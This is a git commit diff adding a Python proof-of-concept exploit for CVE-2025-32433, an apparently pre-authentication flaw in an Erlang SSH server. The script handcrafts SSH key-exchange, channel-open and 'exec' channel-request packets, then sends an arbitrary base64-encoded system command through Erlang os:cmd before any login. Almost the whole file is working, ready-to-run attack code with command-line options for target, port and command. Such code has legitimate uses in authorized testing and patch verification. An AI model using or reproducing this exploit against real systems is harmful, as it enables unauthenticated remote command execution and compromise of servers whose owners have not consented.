first commit

erlang/CVE-2025-32433/exploit.py

@@ -0,0 +1,150 @@
+import socket
+import struct
+import time
+import argparse
+import base64
+
+
+# Helper to format SSH string (4-byte length + bytes)
+def string_payload(s):
+    s_bytes = s.encode("utf-8")
+    return struct.pack(">I", len(s_bytes)) + s_bytes
+
+
+# Builds SSH_MSG_CHANNEL_OPEN for session
+def build_channel_open(channel_id=0):
+    return (
+        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
+        + string_payload("session")
+        + struct.pack(">I", channel_id)  # sender channel ID
+        + struct.pack(">I", 0x68000)  # initial window size
+        + struct.pack(">I", 0x10000)  # max packet size
+    )
+
+
+# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
+def build_channel_request(channel_id=0, command=None):
+    return (
+        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
+        + struct.pack(">I", channel_id)
+        + string_payload("exec")
+        + b"\x01"  # want_reply = true
+        + string_payload(command)
+    )
+
+
+# Builds a minimal but valid SSH_MSG_KEXINIT packet
+def build_kexinit():
+    cookie = b"\x00" * 16
+
+    def name_list(l):
+        return string_payload(",".join(l))
+
+    # Match server-supported algorithms from the log
+    return (
+        b"\x14"
+        + cookie
+        + name_list(
+            [
+                "curve25519-sha256",
+                "ecdh-sha2-nistp256",
+                "diffie-hellman-group-exchange-sha256",
+                "diffie-hellman-group14-sha256",
+            ]
+        )  # kex algorithms
+        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  # host key algorithms
+        + name_list(["aes128-ctr"]) * 2  # encryption client->server, server->client
+        + name_list(["hmac-sha1"]) * 2  # MAC algorithms
+        + name_list(["none"]) * 2  # compression
+        + name_list([]) * 2  # languages
+        + b"\x00"
+        + struct.pack(">I", 0)  # first_kex_packet_follows, reserved
+    )
+
+
+# Pads a packet to match SSH framing
+def pad_packet(payload, block_size=8):
+    min_padding = 4
+    padding_len = block_size - ((len(payload) + 5) % block_size)
+    if padding_len < min_padding:
+        padding_len += block_size
+    return (
+        struct.pack(">I", len(payload) + 1 + padding_len)
+        + bytes([padding_len])
+        + payload
+        + bytes([0] * padding_len)
+    )
+
+
+# Convert system command to Erlang os:cmd format
+def format_erlang_command(cmd):
+    # Use base64 encoding to avoid escaping issues
+    encoded_cmd = base64.b64encode(cmd.encode()).decode()
+    # Create Erlang code that decodes and executes the command
+    return f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'
+
+
+# === Exploit flow ===
+def main():
+    # Parse command line arguments
+    parser = argparse.ArgumentParser(description='Exploit for Erlang CVE-2025-32433')
+    parser.add_argument('-t', '--target', default="127.0.0.1", help='Target IP address (default: 127.0.0.1)')
+    parser.add_argument('-p', '--port', type=int, default=2222, help='Target port (default: 2222)')
+    parser.add_argument('-c', '--command', help='System command to execute (for example: touch /tmp/success)')
+    parser.add_argument('-e', '--erlang', help='Interpret command as raw Erlang code instead of system command. (for example: os:cmd("touch /tmp/success").)')
+    args = parser.parse_args()
+
+    # Convert system command to Erlang command unless --erlang flag is used
+    if args.erlang:
+        erlang_cmd = args.erlang
+    elif args.command:
+        erlang_cmd = format_erlang_command(args.command)
+    else:
+        print(parser.print_help())
+        return
+
+    try:
+        with socket.create_connection((args.target, args.port), timeout=5) as s:
+            print("[*] Connecting to SSH server...")
+
+            # 1. Banner exchange
+            s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
+            banner = s.recv(1024)
+            print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
+            time.sleep(0.5)  # Small delay between packets
+
+            # 2. Send SSH_MSG_KEXINIT
+            print("[*] Sending SSH_MSG_KEXINIT...")
+            kex_packet = build_kexinit()
+            s.sendall(pad_packet(kex_packet))
+            time.sleep(0.5)  # Small delay between packets
+
+            # 3. Send SSH_MSG_CHANNEL_OPEN
+            print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
+            chan_open = build_channel_open()
+            s.sendall(pad_packet(chan_open))
+            time.sleep(0.5)  # Small delay between packets
+
+            # 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
+            print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
+            print(f"[*] Erlang payload: {erlang_cmd}")
+            chan_req = build_channel_request(command=erlang_cmd)
+            s.sendall(pad_packet(chan_req))
+
+            print(
+                f"[✓] Exploit sent! Command executed on target"
+            )
+
+            # Try to receive any response (might get a protocol error or disconnect)
+            try:
+                response = s.recv(1024)
+                print(f"[+] Received response: {response.hex()}")
+            except socket.timeout:
+                print("[*] No response within timeout period (which is expected)")
+
+    except Exception as e:
+        print(f"[!] Error: {e}")
+
+
+if __name__ == "__main__":
+    main()